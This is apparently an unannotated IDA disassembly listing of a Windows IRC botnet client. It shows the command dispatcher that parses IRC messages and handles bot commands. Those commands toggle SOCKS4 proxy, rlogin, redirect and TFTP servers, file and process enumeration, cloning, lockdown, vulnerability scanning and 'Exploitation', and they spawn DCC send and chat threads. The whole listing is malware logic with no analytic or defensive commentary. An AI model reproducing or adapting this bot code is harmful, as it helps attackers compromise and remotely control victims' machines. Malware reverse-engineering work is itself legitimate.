		pop	ecx
		jz	short loc_40D399
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3C0

loc_40D399:				; CODE XREF: sub_40CE55+531j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40D39E:				; CODE XREF: sub_40CE55+569j
		cmp	[edi], bl
		jz	short loc_40D3B4
		push	[ebp+var_94]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D40E

loc_40D3B4:				; CODE XREF: sub_40CE55+54Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D39E

loc_40D3C0:				; CODE XREF: sub_40CE55+542j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D46F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3F7
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40D3F7:				; CODE XREF: sub_40CE55+597j
		push	[ebp+var_84]
		push	offset dword_4364B4

loc_40D402:				; CODE XREF: sub_40CE55+5577j
					; sub_40CE55+58F0j ...
		call	sub_40B1E1
		pop	ecx

loc_40D408:				; CODE XREF: sub_40CE55+5A05j
		pop	ecx
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40D40E:				; CODE XREF: sub_40CE55+55Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_436480
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_415910
		add	esp, 18h
		test	eax, eax
		jnz	loc_40D219
		lea	eax, [ebp+var_2C8]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40D20E
; ---------------------------------------------------------------------------

loc_40D46F:				; CODE XREF: sub_40CE55+57Fj
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_415910
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D4C3
		push	[ebp+var_90]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D4C3
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41298E
		cmp	dword_42C194, ebx
		jz	loc_41298E

loc_40D4C3:				; CODE XREF: sub_40CE55+634j
					; sub_40CE55+646j
		push	[ebp+var_90]
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D649
		push	[ebp+var_90]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D649
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40D50A:				; CODE XREF: sub_40CE55+8B0j
					; sub_40CE55+941j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_436464
		mov	[ebp+arg_8], eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D943
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D801
		cmp	[ebp+var_98], ebx
		jz	loc_40D7D7
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6FC]
		push	edi
		push	eax
		call	sub_4154E7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_710]
		push	edi
		push	eax
		call	sub_4154E7
		push	[ebp+esi+var_84]
		call	sub_415A5F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_718], eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_43641C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	12h
		push	eax
		call	sub_414F93
		add	esp, 44h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_718]
		push	ebx
		push	eax
		push	offset sub_40BAB4
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	loc_40D7C6

loc_40D633:				; CODE XREF: sub_40CE55+7F2j
		cmp	[ebp+var_568], ebx
		jnz	loc_40D7F9
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40D633
; ---------------------------------------------------------------------------

loc_40D649:				; CODE XREF: sub_40CE55+67Ej
					; sub_40CE55+694j
		push	[ebp+var_90]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D662
		mov	[ebp+var_4], 1

loc_40D662:				; CODE XREF: sub_40CE55+804j
		cmp	[ebp+var_8C], ebx
		jz	loc_40D219
		push	(offset	loc_4263DB+1)
		push	[ebp+var_8C]
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D689
		cmp	[ebp+var_4], ebx
		jz	short loc_40D695

loc_40D689:				; CODE XREF: sub_40CE55+82Dj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_8C], eax

loc_40D695:				; CODE XREF: sub_40CE55+832j
		cmp	[ebp+var_88], ebx
		jz	loc_40D219
		inc	[ebp+var_88]
		jz	short loc_40D6E1
		cmp	[ebp+arg_10], ebx
		jz	short loc_40D6E1
		lea	eax, [ebp+var_564]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_564]
		push	[ebp+var_88]
		push	eax
		call	sub_416ED0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40D6E7
; ---------------------------------------------------------------------------

loc_40D6E1:				; CODE XREF: sub_40CE55+852j
					; sub_40CE55+857j
		mov	esi, [ebp+var_AC]

loc_40D6E7:				; CODE XREF: sub_40CE55+88Aj
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40D219
		push	edi
		push	offset dword_436410
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D50A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40D787
		mov	eax, dword_46899C
		mov	eax, off_42C264[eax*4]
		cmp	[eax], bl
		jz	short loc_40D787
		push	eax
		push	ecx
		push	offset dword_4363F4
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		add	esp, 20h
		cmp	[ebp+var_98], ebx
		jnz	loc_40D219
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1
		push	eax
		push	offset dword_4688A4

loc_40D777:				; CODE XREF: sub_40CE55+52F2j
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40D787:				; CODE XREF: sub_40CE55+8BFj
					; sub_40CE55+8CFj
		push	edi
		push	offset dword_4363D0
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D50A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40D50A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40D50A
		push	eax
		push	ecx
		push	offset dword_4363B8
		jmp	loc_40D20E
; ---------------------------------------------------------------------------

loc_40D7C6:				; CODE XREF: sub_40CE55+7D8j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_43636C
		jmp	loc_40D92F
; ---------------------------------------------------------------------------

loc_40D7D7:				; CODE XREF: sub_40CE55+6FFj
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+esi+var_8C]
		push	offset dword_436318
		push	eax
		call	sub_4154E7
		add	esp, 10h

loc_40D7F9:				; CODE XREF: sub_40CE55+7E4j
					; sub_40CE55+AA2j ...
		push	1
		pop	esi
		jmp	loc_40EFAA
; ---------------------------------------------------------------------------

loc_40D801:				; CODE XREF: sub_40CE55+6F3j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D959
		cmp	[ebp+var_98], ebx
		jz	loc_40D923
		push	13h
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	loc_40D915
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_710]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		push	[ebp+esi+var_84]
		call	sub_415A5F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_718], eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4362DC
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	13h
		push	eax
		call	sub_414F93
		add	esp, 34h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_718]
		push	ebx
		push	eax
		push	offset sub_40B551
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40D907

loc_40D8F1:				; CODE XREF: sub_40CE55+AB0j
		cmp	[ebp+var_568], ebx
		jnz	loc_40D7F9
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40D8F1
; ---------------------------------------------------------------------------

loc_40D907:				; CODE XREF: sub_40CE55+A9Aj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436294
		jmp	short loc_40D92F
; ---------------------------------------------------------------------------

loc_40D915:				; CODE XREF: sub_40CE55+9DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_436250
		jmp	short loc_40D92F
; ---------------------------------------------------------------------------

loc_40D923:				; CODE XREF: sub_40CE55+9CDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_43620C

loc_40D92F:				; CODE XREF: sub_40CE55+97Dj
					; sub_40CE55+ABEj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------

loc_40D943:				; CODE XREF: sub_40CE55+6D8j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42C19C
		mov	[edi], ecx
		jnz	loc_40D219

loc_40D959:				; CODE XREF: sub_40CE55+9C1j
		mov	edi, [edi]
		push	edi
		push	offset aNewshit	; "newshit"
		mov	[ebp+arg_8], edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412996
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412996
		cmp	[ebp+var_98], ebx
		jnz	short loc_40D9AA
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41298E

loc_40D9AA:				; CODE XREF: sub_40CE55+B39j
		cmp	[ebp+arg_28], ebx
		jnz	loc_41298E
		xor	edi, edi
		cmp	dword_42E7A4, ebx
		jle	loc_40DB56
		mov	[ebp+arg_20], offset dword_43E7A8

loc_40D9C8:				; CODE XREF: sub_40CE55+B92j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D9EE
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42E7A4
		jl	short loc_40D9C8
		jmp	loc_40DB56
; ---------------------------------------------------------------------------

loc_40D9EE:				; CODE XREF: sub_40CE55+B82j
		push	offset asc_436588 ; " :"
		push	[ebp+arg_0]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D219
		mov	cl, byte_42C19C
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42C19C
		mov	[eax+3], cl
		lea	ecx, dword_43E7C0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_416D40
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_40DA43:				; CODE XREF: sub_40CE55+C96j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A4]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DAAF
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40DAAF
		lea	eax, dword_43E7A8[edi]
		push	eax
		call	sub_415CF0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40DAE1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DAE1
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		add	esp, 0Ch
		jmp	short loc_40DAE1
; ---------------------------------------------------------------------------

loc_40DAAF:				; CODE XREF: sub_40CE55+C16j
					; sub_40CE55+C1Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40DAE1
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		add	esp, 18h

loc_40DAE1:				; CODE XREF: sub_40CE55+C2Fj
					; sub_40CE55+C43j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40DA43
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40DAFE:				; CODE XREF: sub_40CE55+CF5j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A4]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DB41
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40DB41
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		add	esp, 0Ch

loc_40DB41:				; CODE XREF: sub_40CE55+CD1j
					; sub_40CE55+CD7j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40DAFE
		mov	[ebp+var_C8], 1

loc_40DB56:				; CODE XREF: sub_40CE55+B66j
					; sub_40CE55+B94j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42C19C
		jz	short loc_40DB6F
		cmp	[ebp+var_C8], ebx
		jz	loc_40DD54

loc_40DB6F:				; CODE XREF: sub_40CE55+D0Cj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_4099AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_4099AA
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4099AA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_414433
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_4099AA
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_4099AA
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 14h

loc_40DBE1:				; CODE XREF: sub_40CE55+E78j
		test	eax, eax
		jz	loc_40DCD2
		push	edi
		push	[ebp+arg_0]
		call	sub_415AC0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_A4]
		push	offset asc_4361C0 ; ")"
		push	eax
		call	sub_416C98
		add	esp, 1Ch
		cmp	[ebp+var_A4], 30h
		jl	short loc_40DC2D
		cmp	[ebp+var_A4], 39h
		jle	short loc_40DC43

loc_40DC2D:				; CODE XREF: sub_40CE55+DCDj
		push	3
		lea	eax, [ebp+var_A4]
		push	offset a63	; "63"
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40DC43:				; CODE XREF: sub_40CE55+DD6j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	short loc_40DC66
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40DC77
; ---------------------------------------------------------------------------

loc_40DC66:				; CODE XREF: sub_40CE55+DFDj
		call	sub_415543
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl

loc_40DC77:				; CODE XREF: sub_40CE55+E0Fj
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_415CF0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A4]
		push	[ebp+arg_10]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4099AA
		push	edi
		push	[ebp+arg_0]
		call	sub_415AC0
		add	esp, 30h
		jmp	loc_40DBE1
; ---------------------------------------------------------------------------

loc_40DCD2:				; CODE XREF: sub_40CE55+D8Ej
		mov	edi, 1FFh
		lea	eax, [ebp+var_F9C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_F9C]
		push	edi
		push	eax
		lea	eax, [ebp+var_119C]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_119C]
		push	offset asc_426A00 ; " "
		push	eax
		call	sub_416C98
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh

loc_40DD22:				; CODE XREF: sub_40CE55+EE2j
		push	offset asc_426A00 ; " "
		push	ebx
		call	sub_416C98
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40DD22
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40D219
		add	ecx, 3
		mov	[eax], ecx

loc_40DD54:				; CODE XREF: sub_40CE55+D14j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412941
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412941
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41291F
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41291F
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41287D
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41287D
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41285F
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41285F
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274A
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412628
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412628
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEC4
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_4360F0

loc_40DEA8:				; CODE XREF: sub_40CE55+1093j
					; sub_40CE55+10B9j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_415221
		add	esp, 20h
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40DEC4:				; CODE XREF: sub_40CE55+103Ej
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEEA
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_4360CC
		jmp	short loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DEEA:				; CODE XREF: sub_40CE55+107Ej
		push	edi
		push	offset dword_4360BC
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF10
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_4360B0
		jmp	short loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DF10:				; CODE XREF: sub_40CE55+10A4j
		push	edi
		push	offset dword_4360A8
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF39
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_43609C
		push	offset dword_436090
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DF39:				; CODE XREF: sub_40CE55+10CAj
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF62
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_43606C
		push	offset dword_43605C
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DF62:				; CODE XREF: sub_40CE55+10F3j
		push	edi
		push	offset dword_436050
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF8B
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_436044
		push	offset dword_436038
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DF8B:				; CODE XREF: sub_40CE55+111Cj
		push	edi
		push	offset dword_436028
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFB4
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_43601C
		push	offset dword_436010
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DFB4:				; CODE XREF: sub_40CE55+1145j
		push	edi
		push	offset dword_436000
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFDD
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_435FF4
		push	offset dword_435FE8
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40DFDD:				; CODE XREF: sub_40CE55+116Ej
		push	edi
		push	offset dword_435FD8
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E006
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_435FCC
		push	offset dword_435FC0
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E006:				; CODE XREF: sub_40CE55+1197j
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E02F
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_435FA4
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E02F:				; CODE XREF: sub_40CE55+11C0j
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412610
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412610
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125F8
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125F8
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0AC
		push	[ebp+esi+var_90]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_435F44
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E0AC:				; CODE XREF: sub_40CE55+123Dj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0D5
		push	[ebp+esi+var_90]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_435F1C
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E0D5:				; CODE XREF: sub_40CE55+1266j
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0FE
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E0FE:				; CODE XREF: sub_40CE55+128Fj
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125E2
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125E2
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C1
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C1
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259F
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259F
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412557
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412557
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412519
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412519
		push	edi
